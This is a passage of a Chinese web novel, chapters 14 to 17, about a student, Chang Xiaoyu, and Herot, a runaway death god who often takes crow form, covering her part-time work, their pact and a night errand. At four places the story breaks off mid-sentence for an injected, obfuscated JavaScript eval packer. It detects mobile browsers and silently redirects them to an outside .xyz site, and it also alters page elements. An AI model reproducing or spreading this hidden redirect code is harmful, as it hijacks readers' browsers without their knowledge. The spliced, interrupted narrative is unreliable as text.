身侧的手微微抬起,距离赫罗特发梢几厘米时,在空中顿住握紧。 察觉异动,赫罗特仰起头,红宝石眼瞳兔子一样无害,但常宵雨知道这只是错觉。 不知怎么了,犹如被蛊惑,她刚才想要凭借冲动去做一些不像她的事。 常宵雨咽下不自在,垂下手催促他,利用行动截断情绪:“赶紧起来,你堵在这里我过不去。” 赫罗特听话地站起来,高大身躯遮挡窗外光线,阴影覆盖她整个身体:“你还没说怎么受伤的。” 常宵雨拖着腿挪开,灌了自己一大杯凉白开,冷水从舌尖滑过喉咙,顺着食道一路透心凉到胃部。 她疲惫趴倒在床上,脸埋进被子掩盖表情,不想回答。 赫罗特重复了一遍。 “就那样,被一辆外卖电车刮伤了而已,没有直接撞上。” 她语气轻松。 “我看着很严重,你需要请假,明天在家里休息一天,兼职也别去了。” “伤口总会好的,又不是骨折,没有必要请假。” “可是,会很痛。” “……” 赫罗特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542681|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在床边:“如果是我在工作的路上受伤了,我可掉头就走,谁爱干谁干。” “性质不一样。”常宵雨翻了个身,避开伤口周边:“还没有严重到威胁生命的地步,痛感也会随着时间减弱,就因为害怕痛苦就浪费一天的时间,那才是不值。” “我不是那个意思。”赫罗特皱眉:“你真的,不认为你的身体很重要吗?” 常宵雨倾斜脸庞,视线停留在他的脸上。 “我的身体当然重要,所以我作息规律……” “我说的是你的感受。” 常宵雨听懂他语言里有隐含的意思,探究的看了他一眼,但不想了解,也不想再继续这个话题:“我不明白你在说什么。” 见她没有意会,赫罗特焦躁地撸了把头发,短暂露出额头又被掩盖。 “就是,”他顿了顿:“饿了就该吃饭,渴了就该喝水,而不是让自己就这样饿着,不难理解吧。” “你的意思是,痛了不要忍着,应该说出来,然后好好照顾自己,尽早愈合,是这样吗?” 赫罗特点头。 常宵雨轻声叹道:“没那么简单,世界上的条条框框多着,你遇到我之前,挨饿是你想的吗?难道不是因为搜寻不到灵魂?” “所以我才需要定下契约,找你帮忙。”他坐上床,托腮低头看着常宵雨,再头脑简单,也活了百来年,他见的多了:“如果你真的重视自己,就不会拒绝别人的帮助,所谓的限制和规则,只不过是借口。” “承认自己不舒服,一点也不难。” 常宵雨和他对视三秒,缓缓移开目光。 “接受别人的帮助,和你本身的能力毫无关系。” “所以,出去带上我,遇到这种事情,你能更安全,这对你来说只有好处,没有理由拒绝。” 赫罗特认真道。 常宵雨有一瞬间想回答他说好,可是不行,有什么堵在心口,千斤那样重。 “……不需要,我自己可以应付。”她顿了顿,半开玩笑:“而且总待在我身边,接触寻找其他灵魂的难度和成本提高了,不怕又饿肚子?毕竟我们契约的根本在于你的饥饿感。” 房间里只有墙边冰箱发出的细小翁鸣,赫罗特没接话茬,被那双意外深邃的眼睛注视,常宵雨渐渐收起脸上的虚假微笑。 赫罗特真心想帮助她,而她只是想糊弄过去,固执的维持自己可怜的心情罢了。 “抱歉。” 两两沉默。 她捏紧被子往后挪动,拉开与赫罗特之间的一点距离,她爱安静,本习惯了的沉默,却不知为何变得难以忍受。 少顷,寂静被打破。 “腿,还痛吗?” 常宵雨垂眼,说不痛肯定是谎言:“有点。” “我不知道你在想什么。”赫罗特双手搭在床边,手指间断抠着床单罩在床垫上的不平整处:“让你天天带着我出门,肯定也不愿意。” “但我已经决定好了。” 这句话雀跃意味浓郁,不同寻常。 “什么?”从刚刚开始,常宵雨的眼神就没往他的方向靠哪怕一点,这回终于扭头看他。 他的笑容有些恶劣。 “你不愿意带上我,没问题,但不用你同意,我就要,一直一直缠着你,无论你去哪里,这是我的自由吧?” 15. 第15章 赫罗特是认真的。 当常宵雨在奶茶店打开书包时,就彻底明白了他的态度。 一只漆黑的乌鸦,睁着炯炯有神的眼在书包拉链处看着她。 常宵雨面无表情地把鸟头按回去,哗啦拉上拉链。 门外忙得一团乱,有人探进头:“在忙什么?快点来。” “好,来了!”常宵雨扭头回应大喊,另一只手拼命把赫罗特往包里压,他倔强地想要出来。 乌鸦形态无法穿墙,但常宵雨还是担心他越狱跑出来捣乱,竖起一根手指抵在双唇中间警告:“这次兼职只有两个小时,你给我好好忍到结束,无聊就玩我的手机。” 话虽如此,是否捣乱的主导权还是在赫罗特手上,常宵雨可没能力管住他,只能尽力向他说明情况了。 兵来将挡水来土掩。 同事站在门口捣鼓机器,伸进来的手上躺着一叠布料:“你的围裙。” 常宵雨接过围裙套上脖子,身后绳子打结往外走。 店门口坐了不少学生,几群人围着圆桌拼命打游戏,手指飞速滑动戳刺屏幕,她看了眼打印出来的单据,已经排到343号。 今天人真多,要忙起来了。 常宵雨用毛巾擦干纸杯上的水珠,手脚麻利地扯下单号贴纸,手指尖滑动贴纸边缘,底下拱起一下粘上五张贴纸。 按照摆放顺序轮流贴上杯贴,左手撑开奶茶袋放进奶茶,推到台前的同时投进吸管。 有学生来到店门前犹豫的看着屏幕,常宵雨抽空看了一眼,伸手示意她可以直接扫桌子上的二维码点单,就继续忙碌起来。 奶茶店的兼职都是些重复性的工作,用不到脑子,真正投入后一天时间过的很快。 上午的工作很顺利,赫罗特也没有擅自跑出来,中午午休时,常宵雨特意回到休息室看了眼赫罗特,发现手机屏幕还亮着,但他人已经睡着了,倒在包里无知无觉,连同事们大声说话都没能吵醒他。 常宵雨贴着书包边缘探进手,慢慢一点点摸出手机,拿到手上,才发现这家伙用她的手机在看什么。 屏幕光线照亮了她的脸庞。 少女漫画。 他看不懂夏国字,能明白故事讲了什么吗? 色彩鲜艳的条漫滚动,常宵雨退出去看了眼名字。 《楼下的摇滚男孩》? 一打开历史记录,就发现他看得还真不少,贯穿了她工作的两个小时。 化为乌鸦后,赫罗特喜欢到处观察,估计是听见外面的人闲聊,对漫画感兴趣了。 “你还没去吃饭啊。”梁丘云忘记带外套,推门进来就看到常宵雨对着椅子上的包看手机。 她把手机锁屏藏进口袋里。 “不饿吗?” 常宵雨回应道:“刚才在回消息耽搁了一会儿,现在就去。” “和我们一起吃吧?”梁丘云撩起门帘,头往门外摆邀请她:“你总是一个人,又是工作时间最长的,店长有点担心你呢。” 常宵雨回头看了下自己的书包,确定没有动静,就跟着他离开奶茶店。 走在饭堂座椅之间,常宵雨想了想还是决定解释。 “我更喜欢一个人呆着,所以不用担心我。” 这就是委婉的拒绝一起吃饭的邀约了。 “猜到了。”梁丘云不傻,他点头道:“你看着就不是那种喜欢热闹的人,那我就不勉强你了。” 他指了指饭堂另一边的其他同事:“我先走了,一会儿见。” “一会儿见。” 常宵雨挥手,等人走了才放下手,左边沙县小吃店门飘来花生酱拌云吞的香味,工作半天肚子确实饿了。 老板注意到她走近,问道:“要吃什么?” “要一份大份的花生酱拌云吞。”常宵雨看着上面挂着的菜单,价格是十五块钱。 她一个人吃不了这么多,但万一回去时没给赫罗特带食物,他肯定又要叫了。 “打包还是这里吃?” 打包盒要多花一块,只是她不可能端着饭堂的碗碟进奶茶店吃:“打包吧。” “好嘞。” 花生酱拌云吞等不了三分钟,很快熟了乘在打包盒里,常宵雨拎起塑料袋回到奶茶店。 掀开休息室门帘,赫罗特醒了,坐在桌子上,无所事事地望着窗外,斗篷覆盖了整个小桌子。 见到常宵雨进来,他迫不及待地跳下桌子伸出手。 “这是什么?”他拆开袋子靠近饭盒闻,看着里面被酱汁淹没的食物。 “花生酱拌云吞。”常宵雨掏出半路拿来的筷子,坐在凳子上把背包当靠背,抬头询问他:“你这样很容易被人发现吧。” 休息室没有监控,但店面里有,站在门口附近就会被拍到,而且这里小,路过的人但凡往里面多看两眼,也会发现休息室里多出了一个奇怪的人。 “没事,反正有人靠近的话我肯定能发现。”他满不在乎,张大嘴指了指自己。 “不要告诉我,你想我喂你。”常宵雨捏紧筷子,怀疑漫画里有类似情节,把他脑子看坏了。 “那不然?我又不会用筷子,你也没给我拿勺子啊。”手伸进袋子里捣鼓,他从饭盒底下抽出两双一次性木筷,摆在面前。 也许是这几天两人关系亲密起来,常宵雨胆子也大了。换在刚认识的时候,她是不敢这么做的。 她冷笑一声,丢给他一双新筷子:“不会就学,你动手能力是可以的,不然也当不了那么多年死神。” “好吧。”他不高兴的用筷子在云吞上戳洞洞,花生酱顺着筷子流入云吞皮,他咽了咽口水。 “咕噜噜~”赫罗特的肚子叫得特别响。 他摸摸自己肚子,偷看常宵雨一眼,见她埋头苦吃好像没注意他的状态,全心思放在云吞上,也学着她用筷子夹起云吞送进嘴里。 沾到舌头,他的眼睛就亮了。 赫罗特加快速度,把边缘的几个云吞全炫到嘴里。 两人合力下,一盒云吞眨眼吃完了。 吃饱喝足,赫罗特重新变回乌鸦,懒洋洋的落在常宵雨肩上,站都不想站着,直接一屁股坐下。 “我要出去了。”常宵雨晃肩示意他下来。 赫罗特权当听不见,死赖在她身上。 常宵雨只好站起来把筷子和擦桌子的纸巾丢进打包盒里,端着盒子打开门。 门后,是梁丘云惊讶的脸。 他的身后还站着老板与其他同事,个个伸长脖子探头,左摇右晃的看。 梁丘云的视线从常宵雨的脸转移到肩上,迟疑道:“八哥?” 常宵雨迅捷地提前用手抓紧赫罗特要大叫的嘴,抵抗他扩张的力气,侧身贴在墙上给他们让出道,微笑着说:“是乌鸦。” “哦哦,是乌鸦啊……”几个同事瞪着眼进来,眼睛没离开过肩上的赫罗特。 常宵雨点了点头:“抱歉,我去丢个垃圾。” “好好,你去吧。” 走出老远到了饭堂中间,常宵雨才感觉那些视线不再黏着,她深呼吸拣出筷子丢到回收的盆里,然后把打包盒丢进垃圾桶。 “他们回来的时候你是提前听到了的吧。”常宵雨淡淡道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542682|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那肯定,不要怀疑我的能力啊。” “怎么不提醒我?” “没必要啊,现在不是也挺好的吗?”赫罗特抖了抖羽毛,“他们还是什么都不知道,又不会暴露我的身份。” 身后有人接近,常宵雨挪两步到洗手池洗手,等到那人丢完垃圾离开,甩了甩手上的水,才继续和他谈话:“那不一样。” “有什么不一样?” “你可能觉得结果重要,但过程也一样重要。” 赫罗特歪头表示不解。 “比如,你前几天一直要求我当天去陪你找猎物,无论我是答应了还是想像这样推迟,最后结果肯定都是找到了,可第二天再去我的状态会好很多。再比如刚才,虽然他们不知道你是死神,但现在他们都知道我养一只乌鸦了。” “那又怎么了?” “怎么了?”常宵雨突然笑道:“你一会儿就能看见了。” 回去的常宵雨被包围了。 不,准确的说,是赫罗特被包围了。 “乌鸦养起来很麻烦吧?听说鸟类排泄不太受控制。” “对对,我见过网上有些养鸟的还会专门给它们做纸尿裤。” “你的鸟好像有点凶。” 梁丘云嘀咕着收回差点被啄穿的手,同事安慰他:“很多鸟都这样,又认生,小型动物害怕的时候攻击性会比较大。” 他们的午休时间都在其他学生吃完饭后,这个点没什么工作量,无聊得要死的他们怎么可能放过他这一新鲜话题。 赫罗特不知道被那些学生揩了多少油,摸得他都觉得羽毛油腻腻的了,偏偏又不能开口说话,也不能暴露自己的不凡,只能忍耐。 看向坐在最边缘的常宵雨,她脸带不走心的微笑,完全没有插手的意思。 居然不救救他。 早知道出现在这群人类面前会被这样对待,他就好好藏起来了。 下午开工时常宵雨把赫罗特重新塞进了包里,他坚决要求要出来,而且保证不捣乱,不过常宵雨以影响顾客对食物安全的感官为由拒绝了他。 还好给他留下了手机。 限免漫画篇幅很长,讲的是大学生女主因为楼下训练太吵敲响房门时,遇到男主的少女恋爱故事。 拉拉扯扯的居然有两百多话。 赫罗特津津有味的看着,直到天黑后兼职结束,又被常宵雨的同事捋出来狂摸了几把。 其他人回宿舍,常宵雨打包了晚餐回家。 公交车站无人,仗着没人听到他说话,赫罗特嚷嚷开了:“你站在那里一动不动,都不知道救救我。” “不知道昨天是谁觉得我想得太远太多了?”常宵雨调低手机屏幕亮度,被赫罗特用得没剩多少电了,到家前必须省着点。 也怪今天太忙,都忘了在奶茶店偷偷充电。 “你,你好记仇!” “……” 常宵雨不否认这点,她并不是一个好人。 “好吧,也不是没有道理。”他嘀嘀咕咕的。 常宵雨一边刷新社交平台一边接话:“你是一只鸟,不爽了其实可以直接跑不是吗?” “唔……嗯……” “可是我不想离你太远啊,说要缠着你的人可是我自己。”他理直气壮道,好像他说出这样的话没有遇到任何障碍。 意料之外的回答,让常宵雨刷手机的手指停住了。 四周静悄悄的,她盯着自己的手指尖,无端脸部燥热起来。 不要想太多了,他不是那个意思。常宵雨在心里对自己说,你是明白的,他根本没有考虑到那一层。 16. 第16章 冬至这天来临时,气温降低得格外迅速。 难得休息日,常宵雨大早上冻醒了,手脚冰凉,只觉得寒气直入心脏。 她缩了缩手脚。 天雾蒙蒙亮,窗沿水汽滴落,滑过玻璃窗留下一列水痕,插在床头充电的手机比天光还亮。 常宵雨扭过头,脸颊陷在柔软的枕头里,意识不甚清醒。 朦胧的视线里,一只乌鸦趴在手机上,用翅膀扒拉屏幕,还真能操作。 “……大早上的玩我手机。” 常宵雨愣愣看着赫罗特,看得他在视线里都模糊了,发了好一会儿呆。 稍微清醒些,她想伸出手揉揉眼睛,还没露出被窝,就感受到被子边缘的冷意,又重新塞了回去。 “几点了?” “六点半。”赫罗特扒拉下状态栏。 早得很。 常宵雨埋头进被子,翻了个身,正对着赫罗特,冷气从背后豁口钻入,冻得她一激灵,反手拉上背后的被子。 赫罗特看着她露出被子的小半张脸,只觉得她迷迷糊糊的样子比清醒时顺眼可爱。 紧接着,一个困惑就涌上心头:“你今天不去兼职吗?” 这一个星期常宵雨每天都出去兼职,有时候是奶茶店,有时候是饭店,今天居然休息。 常宵雨否认:“降温太冷了,之后只会越来越难熬,我找店长排了班,以后只在有课的当天去。其他时间我找了线上兼职,周末就在家里干。” 赫罗特听到这个消息高兴了:“那还可以省下路费。” “嗯,比特意去学校划算。”说着说着,常宵雨慢慢缩回被子里,避开光线,只露出一个头顶,昏昏欲睡。 赫罗特把手机放在一边,跳几下靠近她,站在枕头上,贴着缝隙往里面看。 “不要这样睡。”他很尽职尽责:“我之前狩猎的灵魂就有冬天把头蒙在被子闷死的。” 常宵雨此时只想睡觉,嘟哝几句,翻身把赫罗特抛在背后。 赫罗特还没见过她这幅样子,很新奇,哒哒跑到枕头另一边,又盯着她看。 好烦。 常宵雨又往下埋深了点,意图摆脱他的视线。 “我还以为你是什么劳模,没想到也会赖床。”赫罗特感叹。 “这么看还是我们那边的公司黑啊。”他想起给冥界打工的黑暗一百年,“我们从晚上六点干到早上十一点,你要是不认真工作,业绩不达标还要被批斗。” 一天工作十七个小时?!常宵雨清醒了。 她坐起来把自己包成蚕宝宝,靠着床头拎起赫罗特放在腹部前的被子上。 黑奴啊。 死神签了工作契约就不会再饿死,也就是说完全是全自动灵魂收割机。 常宵雨心里有一个可怕的想法。 “全年无休?” “全年无休。” 赫罗特回忆:“而且不包含通勤时间,只有当天到了灵魂那里打卡才开始算你上班。” 虽然死神赶路很快,但也需要成本。 “也没有节假日?休息日?年假呢?” “没有。” 所以这就是,赫罗特之前凌晨了还喊她出门的原因吧。 “真可怕……”常宵雨看着赫罗特,自从送走郑倩然后,他就一直精神饱满,可想而知工作契约克扣了多少劳动成果,百分之九十八啊。 生产机器都有停修的时候,资本家真是无处不在。 “这里就舒服多了,离开管控范围虽然要挨饿,却不用忙忙碌碌的。”赫罗特笑嘻嘻。 他本就排斥被人管控,在冥界手底下工作,到哪里都要遵守规章制度,还要看上级的脸色,生气的时候没少和其他死神打架,不知道被警告多少遍了。 不过除了那几位的属下,大部分死神的能力强度都差不多,所以他也没吃亏。 听他说的话,冥界运行机制似乎还挺与时俱进。 “冥界以公司名义运转的吗?是不是还分部门。” 赫罗特点点鸟头:“像我之前就是业务部门,除此之外还有法务部、财务部、行政部这些的。” “其他的都还好说,法务部特别棘手。” “躲到夏国很大部分原因就是因为法务部,在公司里,法务部的权力最大实力也最强,违反契约的都会被抓起来吊打折磨。” “消极怠工也算违反契约?” 赫罗特一开始工作时并没有公然反抗,但后面还是因为业绩严重不达标被抓起来罚过,结果这次惩罚导致他更加排斥“服从命令”。 “当然算。”他提到公司,心情非常不美妙。 赫罗特最讨厌法务部部长的其中一个心腹。 以强壮与暴力闻名的麦格。 无论外面出了什么乱子,麦格总能用暴力方式摆平,而法务部部长只需要最后的答复。 用什么手段达成目的,她毫不在意,只要能成功维护她的正义,所谓情感不值一提。 常宵雨没想到死神的思维方式和人类相差无几,差点以为赫罗特是个例。 不过赫罗特这样的死神应该不多。 “在你之前,有其他死神成功离开过吗?” 赫罗特现在算是暂时成功,那么以前呢? “应该有吧。”他不是很确定的说:“我才当了死神没几百年,不过据说管理严格起来是近五百年左右的事情,应该就是法务部部长上任的时候。” 常宵雨还想继续问,手机却震动起来,仅仅三声震动就拉回了她的注意力。 锁屏显示闹钟响了。 刚好一直充着电,电量满格,常宵雨单手拔出充电插头一把抓过手机,点掉闹钟提醒。 她比预定时间早醒了半个钟。 常宵雨看着床边的拖鞋,迟疑两秒,最终还是伸了脚穿上鞋,站起来单薄的睡衣暴露在空气中,迅速捞起床上的厚外套穿上,这才感觉好些。 回过头,赫罗特变回原形坐在床上,身上依然穿着那套破破烂烂的黑斗篷。 斗篷下面被遮得严严实实,即使是从楼顶天台飞下来的那次,她也没注意到他究竟里面穿着什么衣服。 看起来应该很冷。 “……你会受到气温影响吗?”常宵雨问。 “气温?”赫罗特抬手左右看了看自己的穿着,放下手:“不会吧,我没太注意,那应该就是不会被影响。” “其实我想过了。”常宵雨说道:“一直以乌鸦的形态在外不是办法,你也没法自由行动,还不如换掉这身衣服,改天有空去批发市场给你买几套。” “这样不会被发现吗?”赫罗特拍了拍银发,又指了指自己的眼睛:“太明显了。” 常宵雨看着赫罗特,除去显眼的发色瞳色,他面无表情时上扬的眼角显得有些凶,高挺的鼻梁又给他增添了两分桀骜,但花瓣般上扬的嘴唇弥补了这点,似笑非笑的样子反而让他有种别样的魅力。 而且只有她知道,他笑起来会露出虎牙。 “……确实。”常宵雨移开目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542683|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,长得太好看了很容易吸引人。 “不过你最近在看漫画吧?夏国有很多coser,也有不少人把cos日常化,如果有人问你,就说头发是染的,眼睛带了美瞳。” 她补充道:“雾城很多亚文化爱好者,你不用担心其他人往那方面想。” “就算你的同事来抓你,没有其他判断方法,他们一时半会儿也分不清。” 赫罗特僵住了。 他机器人一样磕磕绊绊的抬手扣了下脸颊:“你、你知道了啊,可能会有人来抓我的事情。” 常宵雨坐到桌前调整椅子位置,摊开本子,掏出一支笔笔盖拆开套在尾部,一心二用:“太好猜了。” “明明恢复了大部分力量可以长期维持人形在外行走,却还是在出门时保持乌鸦形态,你又说过冥界法务部很严格。”她停顿了一下笔杆:“这都猜不出来就有点说不过去了吧。” 赫罗特偷渡而来时确实有计划,但计划粗糙得两句话可以说完,无非就是找个人家里住,掩盖气息,然后晚上出门狩猎。 做长期计划太也为难他了。 “和活人接触久些,死神的气息就会被掩盖,便于隐藏。”他解释道,这也是他盯上常宵雨的其中一个原因。 赫罗特难得感到不好意思:“我不是故意瞒着你的,因为我想着应该不会住很久,就算他们来抓捕我,也不会牵扯到你。” “没事。” 常宵雨短短时间内写了四五行字,赫罗特凑过去看,纸面上密密麻麻的都是兼职计划,看得他头晕。 “你说出去买衣服?今天就去吗?” “不是现在,明天。”她撕掉写满的纸张,抱着手机回到床上:“今天确实要出门,但不是去买衣服,你忘了之前在天台上我们答应的事情了吗。” 赫罗特眨了眨眼。 常宵雨一看他反应就知道是不记得了,也难怪,承诺是她说出口的,实际上和赫罗特没什么关系。 她垂下眼不说话了,缩在被子里捧着手机打开备忘录,对着纸张安静打字。 赫罗特坐在她对面床尾,绕过床脚一步跨过来,抽动她的被子。 “说话说一半,什么意思?” “没什么。”确实没什么,这是她自己的事情,她来想办法就好了。 “我不明白。”赫罗特直白道:“你不说我就不可能明白你的意思,死神又不会读心术。” 又是这样的话。 常宵雨心烦意乱,狂按删除键让刚才打的字消失在屏幕上,界面一片空白,脑子才不那么杂乱。 这有什么的,她怎么能因为这样的小事耽误工作。 为了早些让心情平静下来,常宵雨盯着赫罗特,盯得他就要刻在脑子里,觉得也许把话说开能够对她排解此刻的情绪有所帮助。 想了想,她决定试着说出自己的感觉,从效率层面考虑,负面情绪的存在只会浪费时间。 也许承认自己的情绪也没有那么难,她都能忍受。 “我说过要给郑倩然的父母带话,你忘记了,我想你也不太乐意去,但不知道为什么这个想法让我觉得有点烦,所以我现在不想和你说话。” 常宵雨不知道如何修饰自己的语言,恰好赫罗特是听不懂委婉用词的人,两人间的电波诡异的对上了。 赫罗特只觉得常宵雨猜错了他的想法,比起呆在家里无所事事,他更喜欢外出找刺激。 于是伸手拿开她的手机,让常宵雨只能看着他,笑道:“谁说我不乐意去?” 17. 第17章 月黑风高,群星隐蔽,黑压压的夜空下方,两个黑影闪过小巷道。 握手楼彼此挤压,发黄的墙面映着微弱的光,路灯接触不良时不时改变亮度。 “是这里吧?” “是这里没错。”常宵雨看着时间,确定当前楼屋就是备忘录里的地址。 旧城区路线规划混乱,两人开着导航走了好多错路,索性观察房子前后贴着的蓝色铁皮地址小标签,总结规律跟着走,光线不足导致操作起来有些困难,好在终于找到了。 602房。 “在六楼。”她抬腿就往水泥浇筑的楼梯上走。 赫罗特拉住她,常宵雨停下投给他一个询问的眼神。 “我抱着你飞上去更快。” “……”常宵雨沉默了一会儿:“不。” “为什么不?又不是没飞过。” 提议被拒绝,赫罗特坚决要得到合理的回答。 常宵雨不想告诉他自己心中曾经诞生过的别扭的东西,开始思考怎么让他打消念头,找到了个不错的解释。 “这里只有六楼,爬楼梯很快的,而且别忘了一会得去更远的地方,没有公交地铁,到时候只能靠你了,现在能量就消耗太多不划算。” 这番言论能够说服她本人,却无法让赫罗特改变主意。 “放心好了。”他炫耀地给她展示比之前长了一倍的镰刀:“这就是我强大的证明,连着带你跨国不成问题。” 赫罗特信奉及时行乐,开源节流里也只会选择来源,万万不可能节流,他从来不考虑第二天的问题。 常宵雨抬头数窗口看向六楼,那里亮着灯,四周没有可以踏足的地方,墙面干干净净。 这栋楼的对面黑灯瞎火,无须担心被发现。 也许比起从门口传递信息,利用窗口更安全。她总不能因为一点小别扭放弃更好的办法。 “好吧。”她妥协,伸出双手:“该怎么做?” 赫罗特示意她伸出双手,微微下蹲把她的手分别放在两肩上,嘴里喊着让她抱紧,单手用力抬起臀部。 像抱小孩一样轻松把她抱了起来。 常宵雨的身高在南方地区不算矮,但和赫罗特没有任何可比性,高高坐在他的手臂上,余光将她与地面的距离收入眼底。 担心摔落,常宵雨不得不圈紧他的脖颈,她轻呼一口气,神游一瞬,庆幸冬日穿得里三层外三层,肢体接触感受并不明显。 她不想感到难为情。 注意力从内心收回,稍稍低头,就见到赫罗特正愉悦地看着她,下意识想避开视线,心底的尊严却又支撑她直视此人。 “可以了吧。”常宵雨踢了踢腿,提醒他做正事,别又莫名其妙的开心起来。 “好嘞。”赫罗特呲牙一笑,颇有地主家傻儿子的感觉,不过距离太近,常宵雨对着他这张脸暂时说不出难听的话。 两人轻飘飘的来到六楼窗户附近,常宵雨往里面瞧,窗户底下安装了块木质平台,表面有诸多磨损划痕,又因使用多年沉浸为深色。 木板上只有一样东西,那就是种植在淡蓝色迷你瓷盆里的多肉,胖嘟嘟的小芽绿得可爱,被放在最中央。 一定花了不少时间打理。 “就放这里吧!”常宵雨不敢靠近,远远指了下盆栽多肉。 “你确定不自己试试?不一定会枯萎,不然我的契约岂不是白白签订了。”赫罗特指的是她的接近与触碰会让植物枯萎这件事。 她摇了摇头:“没必要冒风险,而且由我去容易粘上指纹。” 赫罗特亲眼看她带上手套,用左手写的纸条,自然知道她出门时纸条保存的位置。 他应声,手指拉开外套口袋拉链,两指夹着一张纸条抽出,放在常宵雨的眼前舞动两下。 “放哪里?” 常宵雨答道:“塞在多肉盆栽下面,更容易被发现。” 赫罗特按照她的指示把纸条从窗户缝隙塞进去,再虚化了手臂,穿透玻璃窗,摆正纸条位置,正面朝上让人一眼能看到内容。 然后他提起小盆栽按在纸条上,收回手。 明白赫罗特粗心的她不放心地提醒:“记得压实了,我怕开窗后被风吹走。” “压得死死的。”赫罗特得意的冲她笑。 说着,屋内突如其来一声巨响,窗外的她们能听见里面器皿破裂与呜咽的声音。 空气凝滞一秒。 “……” 常宵雨转头:“我们走吧。” 赫罗特半晌没动静。 顺着他的视线看去,赫罗特正望着窗内的空地出神。 常宵雨伸手推了他一下。 “啊,嗯?”赫罗特意识回到现在,鼻子里发出疑问。 “你怎么了?” 常宵雨可能会在通勤路上发呆,但赫罗特精力旺盛,一刻都闲不下来,魂游天外的可能性较小,大多数时候注意力都聚焦在现实事物上。 “嗯……没什么。”赫罗特笑了笑:“这家人真爱她们的孩子,对吧?” 他像是随口一说,没想过得到回答,四下里一望,往正北飞去:“走吧。” 常宵雨搂紧他的脖子,看着他微垂辨认道路的眼睛片刻,移开目光看向远方,然后才回到手机上。 她腾出一只手翻阅地图,赫罗特空着的手臂回护她的身体,出了住宅区就不用再避着人,拉高漂浮在高空中等待她的指令。 停下来后,常宵雨总算两只手都能空出来,一手捧着手机另一手操控两指缩小画面,忽略系统根据定位自动匹配的路线,主要目标放在直线最小距离上。 常宵雨捧着手机摆动手腕转了一圈,见到代表她的方向箭头与红色的直线距离线条同一朝向,便停下来,手指点了点赫罗特的肩头。 “这里。”她保持姿势不让方位箭头变化,在赫罗特低头看屏幕内容时挥手指向东北边。 “行,出发!” 他恢复活力,仿佛之前短暂的走神是幻觉。 常宵雨稍微放下了心。 楼房、废弃道路、树林在脚下疾驰而过,模糊得只剩残影。 看着定位点以肉眼可见的速度接近目的地,估计再有三分钟就能到达。 常宵雨想去看看郑倩然那个人渣前男友的情况。 不全是为了别人,也是为了她自己,她有些东西需要确认的东西,心里存在的疑惑在没有亲自解开前,将会长久的占据她的大脑。 头脑风暴中,晃眼间见到底下树林有什么不同以往的东西掠过。 搂着赫罗特脖子的手臂紧了紧,赫罗特飞驰的速度慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542684|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,斗篷啪的打在后背。 “下面好像有什么过去了。”常宵雨探头往下看。 赫罗特毫不在意:“没什么的,是个人类而已,哪里的人都有怪癖,我们那边经常有人半夜三更钻小树林呢。” “不行。” 常宵雨摸着胸口,察觉其中异动,总觉得如果就这样忽视此人,说不定会错过什么。 直觉是一回事,另一让她决定探究的原因则是他们此刻的位置,已经很接近目的地了,在这周围,她不想错过任何可能有关的信息,于是坚定的看着他。 赫罗特速度再慢,也已经飞出了一段距离,意外发现他不介意被麻烦,于是愉快的重新返回,沿着刚才的路径行动,来到了之前人类的上空。 “喏,就这个,没什么特别的。”他对着底下的人指指点点。 常宵雨眯眼朝下看,看不太清,赫罗特正要下降,就被她不轻不重地捏了一下腰间手臂。 “别降低,很容易被发现。” 若非恰好黑夜隐蔽性强,当前高度只要一抬头,还是很有可能被发现的。 在还能控制局面的时候,常宵雨不允许有任何意外的发生。 “麻烦你告诉我那个人长什么样,穿什么衣服。” 赫罗特低头一瞧,这人才从树林里出来,走到坑坑洼洼的马路边,在附近的碎砖块堆上跺跺脚,将鞋底泥土蹭掉。 他穿着衣物面料柔软,一边走一边伸手摘去头发衣服上的落叶。 枯黄的叶片晃悠悠落地,被风一吹就打了几个滚。 赫罗特又回头望了望树林,看树林劈开的痕迹,呈现直线通往不知名处,目的地明确。 “是个男人,穿得很讲究。”赫罗特思考道。 